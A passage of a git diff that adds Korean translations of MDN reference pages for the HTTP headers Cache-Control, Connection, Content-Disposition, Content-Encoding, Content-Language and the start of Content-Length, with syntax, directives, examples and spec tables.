+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<p>디렉티브는 대소문자를 구분하지 않으며 토큰과 따옴표로 둘러쌓인 문자열 문법 모두를 사용할 수 있는 부가적인 인자를 가집니다. 다중 디렉티브는 쉼표로 구분됩니다.</p>
+
+<h3 id="캐시_요청_디렉티브">캐시 요청 디렉티브</h3>
+
+<p>HTTP 요청 내에서 클라이언트에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p>
+
+<pre class="syntaxbox">Cache-Control: max-age=&lt;seconds&gt;
+Cache-Control: max-stale[=&lt;seconds&gt;]
+Cache-Control: min-fresh=&lt;seconds&gt;
+Cache-control: no-cache
+Cache-control: no-store
+Cache-control: no-transform
+Cache-control: only-if-cached
+</pre>
+
+<h3 id="캐시_응답_디렉티브">캐시 응답 디렉티브</h3>
+
+<p>HTTP 응답 내에서 서버에 의해 사용될 수 있는 표준 <code>Cache-Control</code> 디렉티브.</p>
+
+<pre class="syntaxbox">Cache-control: must-revalidate
+Cache-control: no-cache
+Cache-control: no-store
+Cache-control: no-transform
+Cache-control: public
+Cache-control: private
+Cache-control: proxy-revalidate
+Cache-Control: max-age=&lt;seconds&gt;
+Cache-control: s-maxage=&lt;seconds&gt;
+</pre>
+
+<h3 id="확장_Cache-Control_디렉티브">확장 <code>Cache-Control</code> 디렉티브</h3>
+
+<p>확장 <code>Cache-Control</code> 디렉티브는 핵심 HTTP 캐싱 표준 문서에 속하지 않습니다. 지원 여부는 <a href="#Browser_compatibility">호환성 테이블</a>을 확인하시기 바랍니다.</p>
+
+<pre class="syntaxbox">Cache-control: immutable
+Cache-control: stale-while-revalidate=&lt;seconds&gt;
+Cache-control: stale-if-error=&lt;seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<h3 id="캐시_능력">캐시 능력</h3>
+
+<dl>
+ <dt><code>public</code></dt>
+ <dd>응답이 어떤 캐시에 의해서든 캐시된다는 것을 나타냅니다.</dd>
+ <dt><code>private</code></dt>
+ <dd>응답이 단일 사용자를 위한 것이며 공유 캐시에 의해 저장되지 않아야 한다는 것을 나타냅니다. 사설 캐시는 응답을 저장할 수도 있습니다.</dd>
+ <dt><code>no-cache</code></dt>
+ <dd>캐시된 복사본을 사용자에게 보여주기 이전에, 재검증을 위한 요청을 원 서버로 보내도록 강제합니다.</dd>
+ <dt><code>only-if-cached</code></dt>
+ <dd>새로운 데이터를 내려받지 않음을 나타냅니다. 클라이언트는 캐시된 응답만을 원하며, 더 최신 복사본이 존재하는지를 알아보기 위해 서버에 요청해선 안됩니다.</dd>
+</dl>
+
+<h3 id="만료">만료</h3>
+
+<dl>
+ <dt><code>max-age=&lt;seconds&gt;</code></dt>
+ <dd>리소스가 최신 상태라고 판단할 최대 시간을 지정합니다. <code>Expires</code>에 반해, 이 디렉티브는 요청 시간과 관련이 있습니다.</dd>
+ <dt><code>s-maxage=&lt;seconds&gt;</code></dt>
+ <dd><code>max-age</code> 혹은 <code>Expires</code> 헤더를 재정의하나, (프록시와 같은) 공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd>
+ <dt><code>max-stale[=&lt;seconds&gt;]</code></dt>
+ <dd>클라이언트가 캐시의 만료 시간을 초과한 응답을 받아들일지를 나타냅니다. 부가적으로, 초 단위의 값을 할당할 수 있는데, 이는 응답이 결코 만료되서는 안되는 시간을 나타냅니다.</dd>
+ <dt><code>min-fresh=&lt;seconds&gt;</code></dt>
+ <dd>클라이언트가 지정된 시간(초단위) 동안 신선한 상태로 유지될 응답을 원한다는 것을 나타냅니다.</dd>
+ <dt><code>stale-while-revalidate=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>비동기 적으로 백그라운드 에서 새로운 것으로 체크인하는 동안 클라이언트가 최신이 아닌 응답을 받아 들일 것임을 나타냅니다. 초 값은 클라이언트가 최신이 아닌 응답을 받아 들일 시간을 나타냅니다.</dd>
+ <dt><code>stale-if-error=&lt;seconds&gt;</code> {{experimental_inline}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h3 id="재검증과_리로딩">재검증과 리로딩</h3>
+
+<dl>
+ <dt><code>must-revalidate</code></dt>
+ <dd>캐시는 사용하기 이전에 기존 리소스의 상태를 반드시 확인해야 하며 만료된 리소스는 사용되어서는 안됩니다.</dd>
+ <dt><code>proxy-revalidate</code></dt>
+ <dd><code>must-revalidate</code>와 동일하지만, (프록시와 같은)공유 캐시에만 적용되며 사설 캐시에 의해서는 무시됩니다.</dd>
+ <dt><code>immutable</code></dt>
+ <dd>응답 본문이 계속해서 변하지 않을 것이라는 것을 나타냅니다. 응답은, 만료되지 않은 경우라면, 서버 상에서 변경되지 않을 것이고 그러므로 클라이언트는 업데이트 검사를 위해 (<code>If-None-Match</code> 혹은 <code>If-Modified-Since</code>과 같은)그에 대한 조건부의 재검증을 전송해서는 안 됩니다. 이 확장을 감지하지못한 클라이언트는 HTTP 명세에 따라 그것들을 무시해야만 합니다. 파이어폭스에서, <code>immutable</code>는 <code>https://</code> 트랜잭션 상에서만 부여됩니다. 좀 더 많은 정보는 다음의 <a href="http://bitsup.blogspot.de/2016/05/cache-control-immutable.html">블로그 포스트</a>를 참고하시기 바랍니다.</dd>
+</dl>
+
+<h3 id="기타">기타</h3>
+
+<dl>
+ <dt><code>no-store</code></dt>
+ <dd>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다.</dd>
+ <dt><code>no-transform</code></dt>
+ <dd>응답에 대해 변형이나 변환이 일어나서는 안됩니다. Content-Encoding, Content-Range, Content-Type 헤더는 프록시에 의해서 수정되어서는 안됩니다. 반투명 프록시는, 예를 들어, 캐시 공간을 절약하고 느린 링크 상의 트래픽량을 줄이기 위해 이미지 포맷들을 변환합니다. <code>no-transform</code> 디렉티브는 이를 허용하지 않습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="캐싱_막기">캐싱 막기</h3>
+
+<p>캐싱을 끄기 위해서, 다음의 디렉티브들을 보낼 수 있습니다. 추가로, <code>Expires와</code> <code>Pragma</code> 헤더를 참고하시기 바랍니다.</p>
+
+<pre class="brush: bash">Cache-Control: no-cache, no-store, must-revalidate
+</pre>
+
+<h3 id="정적_에셋_캐싱">정적 에셋 캐싱</h3>
+
+<p>변경되지 않을 애플리케이션 내 파일들에 대해, 보통 적극적인 캐싱을 추가할 수 있습니다. 이것은 예를 들자면, 이미지, CSS 파일 그리고 자바스크립트 파일과 같이 애플리케이션에 의해 서브되는 정적 파일들을 포함합니다. 추가로, <code>Expires</code> 헤더를 참고하시기 바랍니다.</p>
+
+<pre class="brush: bash">Cache-Control:public, max-age=31536000</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+  <tr>
+   <td>{{RFC("5861")}}</td>
+   <td>HTTP Cache-Control Extensions for Stale Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("8246")}}</td>
+   <td>HTTP Immutable Responses</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Cache-Control")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Caching_FAQ">HTTP Caching FAQ</a></li>
+ <li>{{HTTPHeader("Age")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+ <li>{{HTTPHeader("Pragma")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/connection/index.html b/files/ko/web/http/headers/connection/index.html
new file mode 100644
index 0000000000..f86c4e666f
--- /dev/null
+++ b/files/ko/web/http/headers/connection/index.html
@@ -0,0 +1,53 @@
+---
+title: Connection
+slug: Web/HTTP/Headers/Connection
+tags:
+  - HTTP
+  - 웹
+  - 참조
+  - 헤더
+translation_of: Web/HTTP/Headers/Connection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Connection</code></strong> 일반 헤더는 현재의 전송이 완료된 후 네트워크 접속을 유지할지 말지를 제어합니다. 만약 전송된 값이 <code>keep-alive</code>면, 연결은 지속되고 끊기지 않으며, 동일한 서버에 대한 후속 요청을 수행할 수 있습니다.</p>
+
+<div class="blockIndicator warning">
+<p>{{HTTPHeader("Connection")}} 와 {{HTTPHeader("Keep-Alive")}} 같은 연결-지정(Connection-specific) 헤더 필드들은 <a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">HTTP/2.에서 금지되었습니다</a>. 크롬과 파이어폭스는 HTTP/2 응답에서 그들을 무시하지만, 사파리는 HTTP/2 규격 요건에 따라 해당 필드가 포함된 응답은 처리하지 않습니다. </p>
+</div>
+
+<p>표준 홉 간 헤더인 ({{HTTPHeader("Keep-Alive")}}, {{HTTPHeader("Transfer-Encoding")}}, {{HTTPHeader("TE")}}, {{HTTPHeader("Connection")}}, {{HTTPHeader("Trailer")}}, {{HTTPHeader("Upgrade")}}, {{HTTPHeader("Proxy-Authorization")}} 그리고 {{HTTPHeader("Proxy-Authenticate")}})를 제외하고, 메시지에 의해 사용되는 모든 홉 간 헤더들이 <code>Connection</code> 헤더 내에 연결되기에, 첫번째 프록시는 자신이 해당 헤더들을 소비해야 하며 포워드해서는 안된다는 것을 알 게 됩니다. 표준 홉 간 헤더들도 나열될 수 있지만(대게 {{HTTPHeader("Keep-Alive")}}의 경우가 그렇습니다), 강제적인 것은 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("General header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">Connection: keep-alive
+Connection: close
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>close</code></dt>
+ <dd>클라이언트 혹은 서버가 연결을 닫으려고 하는 것을 나타냅니다. 이것은 HTTP/1.0 요청에서 기본 값입니다.</dd>
+ <dt>쉼표로 구분된 HTTP 헤더 목록 [보통 <code>keep-alive</code> 만 해당]</dt>
+ <dd>클라이언트가 연결을 열린 상태로 유지하려는 것을 나타냅니다. 영속적인 연결을 가지는 것은 HTTP/1.1 요청의 경우 기본입니다. 헤더 목록은 첫번째 반투명 프록시 혹은 중간 캐시에 의해 제거될 헤더의 이름입니다: 이 헤더들은 목적지 노드가 아닌 (요청) 발행자와 첫번째 개체 사이의 연결을 정의합니다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터로부터 생성되었습니다. 만약 당신이 그 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 체크아웃하고 풀리퀘스트를 보내주십시오.</p>
+
+<div>{{Compat("http.headers.Connection")}}</div>
diff --git a/files/ko/web/http/headers/content-disposition/index.html b/files/ko/web/http/headers/content-disposition/index.html
new file mode 100644
index 0000000000..febe46b9dd
--- /dev/null
+++ b/files/ko/web/http/headers/content-disposition/index.html
@@ -0,0 +1,133 @@
+---
+title: Content-Disposition
+slug: Web/HTTP/Headers/Content-Disposition
+translation_of: Web/HTTP/Headers/Content-Disposition
+---
+<div>{{HTTPSidebar}}<br>
+일반적인 HTTP 응답에서 <code><strong>Content-Disposition</strong></code> 헤더는 컨텐츠가 브라우저에 <em>inline</em> 되어야 하는 웹페이지 자체이거나 웹페이지의 일부인지, 아니면 <em>attachment</em>로써 다운로드 되거나 로컬에 저장될 용도록 쓰이는 것인지를 알려주는 헤더입니다.</div>
+
+<div></div>
+
+<p><code>multipart/form-data</code> 본문에서의 <strong><code>Content-Disposition</code></strong> 일반 헤더는 multipart의 하위파트에서 활용될 수 있는데, 이 때 이 헤더는 multipart 본문 내의 필드에 대한 정보를 제공합니다. multipart의 하위파트는 {{HTTPHeader("Content-Type")}} 헤더에 정의된 <em>boundary</em> 구분자에 의해 구분되며, <code>Content-Disposition</code> 헤더를 multipart 자체에 사용하는 것은 아무런 효과를 발휘하지 못합니다.</p>
+
+<p><code>Content-Disposition</code> 헤더는 광의의 MIME 맥락 속에서 정의되었는데, 그 정의에서 사용되는 파라미터 중 일부인 <code>form-data</code>, <code>name</code> 그리고 <code>filename</code>만이 HTTP forms와 {{HTTPMethod("POST")}} 요청에 적용될 수 있습니다. 여기서 <code>name</code>과 <code>filename</code>은 필수적인 파라미터는 아닙니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}} (for the main body)<br>
+    {{Glossary("General header")}} (for a subpart of a multipart body)</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax_구문">Syntax (구문)</h2>
+
+<h3 id="As_a_response_header_for_the_main_body_메인_바디를_위한_응답_헤더로서">As a response header for the main body (메인 바디를 위한 응답 헤더로서)</h3>
+
+<p>HTTP 구문의 첫번째 파라미터는 <code>inline</code> (기본값, 웹 페이지 안에서 또는 웹 페이지로 나타남) 또는 <code>attachment</code> (반드시 다운로드 받아야 하며 대부분의 브라우저는 'Save as'(새이름으로저장)창을 보여주고 <code>filename</code> 파라미터들이 존재한다면 그 이름을 새이름으로 미리 채워줌)입니다.</p>
+
+<pre class="syntaxbox notranslate">Content-Disposition: inline
+Content-Disposition: attachment
+Content-Disposition: attachment; filename="filename.jpg"</pre>
+
+<h3 id="As_a_header_for_a_multipart_body_멀티파트_바디를_위한_헤더로서">As a header for a multipart body (멀티파트 바디를 위한 헤더로서)</h3>
+
+<p>HTTP 구문의 첫번째 파라미터는 언제나 <code>form-data</code>입니다. 추가적인 파라미터들은 대소문자 구분이 없으며, <code>'='</code> 다음에 "문자열로 표현한 아규먼트들"을 가집니다. 다중 파라미터들은 세미콜론 (<code>';'</code>)으로 구분합니다.</p>
+
+<pre class="syntaxbox notranslate">Content-Disposition: form-data
+Content-Disposition: form-data; name="fieldName"
+Content-Disposition: form-data; name="fieldName"; filename="filename.jpg"</pre>
+
+<h3 id="Directives_지시자들">Directives (지시자들)</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>이름(<code>name</code>) 다음에 오는 문자열에는 이 서브파트가 참조하는 폼의 HTML 필드에서 사용한 그 이름이 들어갑니다. 같은 필드에 여러개의 파일이 있을 경우 (예 : <code>{{HTMLElement("input","&lt;input type=\"file\"&gt;")}}</code> 요소의 {{htmlattrxref("multiple", "input")}} 속성), 같은 이름으로 여러개의 서브파트들이 존재할 수 있습니다.</dd>
+ <dd><code>name</code>의 값이 <code>'_charset_'</code>인 것은 그 부분이 HTML필드가 아니라, charset을 명시하지 않고 사용할 수 있는 기본 charset임을 나타냅니다.</dd>
+ <dt><code>filename</code></dt>
+ <dd>파일명(<code>filename</code>) 다음에 오는 문자열에는 전송된 해당 파일의 원래 이름이 들어갑니다. 파일명은 언제나 선택사항이지만, 맹목적으로 쓰여서는 안됩니다 : 경로 정보가 공개되어야 하며, 서버 파일 시스템 규칙에 따라 전환되어야 합니다. 이러한 파라미터들은 대부분 지시적 정보(indicative information)를 제공합니다. 파일명이 <code>Content-Disposition: attachment</code>과 같이 사용되면 최종적으로 사용자가 "새이름으로저장(Save As)" 창에서 보게 되는 파일명의 기본값으로 사용됩니다.</dd>
+ <dt><code>filename*</code></dt>
+ <dd>
+ <p>"filename"과의 유일한 차이점은 "filename*"는 인코딩으로 <a href="https://tools.ietf.org/html/rfc5987">RFC 5987</a>을 사용한다는 것 뿐입니다. 하나의 헤더 필드에 "filename"과 "filename*"이 둘 다 사용된다면  "filename*"이 보다 우선됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>A response triggering the "Save As" dialog:</p>
+
+<pre class="notranslate">200 OK
+Content-Type: text/html; charset=utf-8
+Content-Disposition: attachment; filename="cool.html"
+Content-Length: 21
+
+&lt;HTML&gt;Save me!&lt;/HTML&gt;
+
+</pre>
+
+<p>This simple HTML file will be saved as a regular download rather than displayed in the browser. Most browsers will propose to save it under the <code>cool.html</code> filename (by default).</p>
+
+<p>An example of an HTML form posted using the <code>multipart/form-data</code> format that makes use of the <code>Content-Disposition</code> header:</p>
+
+<pre class="notranslate">POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7578")}}</td>
+   <td>Returning Values from Forms: multipart/form-data</td>
+  </tr>
+  <tr>
+   <td>{{RFC("6266")}}</td>
+   <td>Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2183")}}</td>
+   <td>Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Content-Disposition")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<ul>
+ <li>Firefox 5 handles the <code>Content-Disposition</code> HTTP response header more effectively if both the <code>filename</code> and <code>filename*</code> parameters are provided; it looks through all provided names, using the <code>filename*</code> parameter if one is available, even if a <code>filename</code> parameter is included first. Previously, the first matching parameter would be used, thereby preventing a more appropriate name from being used. See {{bug(588781)}}.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a></li>
+ <li>The {{HTTPHeader("Content-Type")}} defining the boundary of the multipart body.</li>
+ <li>The {{domxref("FormData")}} interface used to manipulate form data for use in the {{domxref("XMLHttpRequest")}} API.</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-encoding/index.html b/files/ko/web/http/headers/content-encoding/index.html
new file mode 100644
index 0000000000..e87da000ea
--- /dev/null
+++ b/files/ko/web/http/headers/content-encoding/index.html
@@ -0,0 +1,94 @@
+---
+title: Content-Encoding
+slug: Web/HTTP/Headers/Content-Encoding
+translation_of: Web/HTTP/Headers/Content-Encoding
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Encoding</code></strong> 개체 헤더는 미디어 타입을 압축하기 위해 사용됩니다. 이 헤더가 존재하면, 그 값은 개체 본문에 어떤 추가적인 컨텐츠 인코딩이 적용될지를 나타냅니다. 그것은 <code>Content-Type</code> 헤더에 의해 참조되는 미디어 타입을 얻도록 디코드하는 방법을 클라이언트가 알게 해줍니다.</p>
+
+<p>가능한 더 많은 데이터를 압축하기 위해 이 필드의 사용이 권고되지만, jpeg 이미지와 같은 어떤 유형의 리소스들은 이미 압축되어 때때로 추가적인 압축이 별 소용이 없고 페이로드를 더 길게 만들수도 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Encoding: gzip
+Content-Encoding: compress
+Content-Encoding: deflate
+Content-Encoding: identity
+Content-Encoding: br
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>gzip</code></dt>
+ <dd>32비트 CRC를 지닌, <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77)을 사용하는 포맷. 이는 본래 UNIX <em>gzip</em> 프로그램의 포맷입니다. HTTP/1.1 표준 역시 이 컨텐츠 인코딩을 지원하는 서버는 호환성 목적으로, <code>x-gzip</code> 별칭의 인지가 권고됩니다.</dd>
+ <dt><code>compress</code></dt>
+ <dd><a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 알고리즘을 사용하는 포맷. 그 값의 이름은 이 알고리즘을 구현한 UNIX <em>compress</em> 프로그램으로부터 가져왔습니다.<br>
+ 대부분의 UNIX 배포판으로부터 사라져 왔던 압축 프로그램처럼, 이 content-encoding은 (2013년에 만료된)특허권 이슈로 오늘날의 브라우저에서 사용되지 않습니다.</dd>
+ <dt><code>deflate</code></dt>
+ <dd>(<a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 압축 알고리즘을 이용한, (<a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>에 정의된) <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 스트럭쳐를 사용합니다.</dd>
+ <dt><code>identity</code></dt>
+ <dd>identity 함수를 나타냅니다(즉, 압축 없음 혹은 변경 없음). 이 토큰은, 명시적으로 지정된 경우를 제외하고, 항상 수용 가능하다고 여겨집니다.</dd>
+ <dt><code>br</code></dt>
+ <dd><a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 알고리즘을 사용하는 포맷.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="gzip을_이용해_압축하기">gzip을 이용해 압축하기</h3>
+
+<p>클라이언트 측에서, HTTP 요청 내에 함께 전송될 압축 스킴 목록을 알릴 수 있습니다. {{HTTPHeader("Accept-Encoding")}} 헤더는 컨텐츠 인코딩 협상을 위해 사용됩니다.</p>
+
+<pre>Accept-Encoding: gzip, deflate</pre>
+
+<p>서버는 사용한 스킴을 <code>Content-Encoding</code> 응답 헤더에 표시하여 응답합니다.</p>
+
+<pre>Content-Encoding: gzip</pre>
+
+<p>서버는 어떤 압축 방법도 사용하도록 강요받지 않는다는 것을 알아두시기 바랍니다. 압축은 서버 설정과 사용되는 서버 모듈에 상당히 의존적입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td>
+   <td>Brotli Compressed Data Format</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Transfer-Encoding")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/content-language/index.html b/files/ko/web/http/headers/content-language/index.html
new file mode 100644
index 0000000000..b14724b515
--- /dev/null
+++ b/files/ko/web/http/headers/content-language/index.html
@@ -0,0 +1,92 @@
+---
+title: Content-Language
+slug: Web/HTTP/Headers/Content-Language
+translation_of: Web/HTTP/Headers/Content-Language
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Language</code></strong> {{Glossary("entity header")}}는 청중을 위한 언어를 설명하기 위해 사용되는데, 사용자가 선호하는 언어에 따라 사용자를 구분하도록 해줍니다.</p>
+
+<p>예를 들어, "<code>Content-Language: de-DE</code>"가 설정되면, 이는 문서가 독일어 발표자를 위해 만들어졌음을 의미합니다(하지만, 그것이 문서가 독일어로 쓰여졌음을 나타내지는 않습니다. 예를 들어, 독일인 발표자를 위한 언어 코스의 일부분이 영어로 작성된 것일 수도 있습니다).</p>
+
+<p><code>Content-Language</code>이 지정되지 않는다면, 모든 언어의 청중을 위해 만들어진 내용이라고 간주합니다. 다중 언어 태그 또한 가능한데다, 텍스트로 이루어진 문서 뿐만 아니라 여러 가지 미디어 타입에도 <code>Content-Language</code> 헤더가 적용됩니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Content-Language: de-DE
+Content-Language: en-US
+Content-Language: de-DE, en-CA
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>language-tag</code></dt>
+ <dd>다중 언어 태그는 쉼표로 구분됩니다. 각 언어 태그는 하이프 문자("<code>-</code>", <code>%x2D</code>)로 구분되는, 한 개 이상의 대소문자를 구분하지 않는 서브태그의 연속입니다. 대부분의 경우, 언어 태그는 관련 언어군 (예를 들어, "<code>en</code>" = English)을 나타내는 주요 언어로 구성되는데, 그 뒤에는 해당 언어의 범위를 정제하거나 좁혀주는 d일련의 서브태그가 올 수 있습니다 (예, "<code>en-CA</code>" = 캐나다에서 사용되는 영어의 변종).</dd>
+</dl>
+
+<div class="note">
+<p><strong>알아둘 것:</strong> 언어 태그는 공식적으로 <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>에 정의되어 있으며, 그에 이어 사용될 <a href="https://en.wikipedia.org/wiki/Language_code">언어 코드</a>에 대해서 <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> 표준이 있습니다(더 정확히는 <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 코드 목록</a>).</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="문서가_작성된_언어_나타내기">문서가 작성된 언어 나타내기</h3>
+
+<p>글로벌 <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> 어트리뷰는 HTML 엘리먼트 상에서 전체 <a href="/en-US/docs/Web/HTML">HTML</a> 문서 혹은 그의 일부의 언어를 나타내기 위해 사용됩니다.</p>
+
+<pre class="brush: html">&lt;html lang="de"&gt;</pre>
+
+<p>다음과 같이 문서 언어를 나타내기 위해 이와 같은 메타 엘리먼트를 사용하지 <strong>마세요</strong>:</p>
+
+<pre class="brush: html example-bad">&lt;!-- /!\ This is bad practice --&gt;
+&lt;meta http-equiv="content-language" content="de"&gt;</pre>
+
+<h3 id="리소스에_대해_대상_청중_나타내기">리소스에 대해 대상 청중 나타내기</h3>
+
+<p><code>Content-Language</code> 헤더는 <strong>페이지의 대상 청중</strong>을 지정하는데 사용되며 한 개 이상의 언어를 나태낼 수 있습니다.</p>
+
+<pre>Content-Language: de, en</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Language")}}</li>
+ <li>
+  <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP 헤더, 메타 엘리먼트 그리고 언어 정보</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/headers/content-length/index.html b/files/ko/web/http/headers/content-length/index.html
new file mode 100644
index 0000000000..1948679fec
--- /dev/null
+++ b/files/ko/web/http/headers/content-length/index.html
@@ -0,0 +1,60 @@
+---
+title: Content-Length
+slug: Web/HTTP/Headers/Content-Length
+translation_of: Web/HTTP/Headers/Content-Length
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Content-Length</code></strong> 개체 헤더는 수신자에게 보내지는, 바이트 단위를 가지는 개체 본문의 크기를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Entity header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
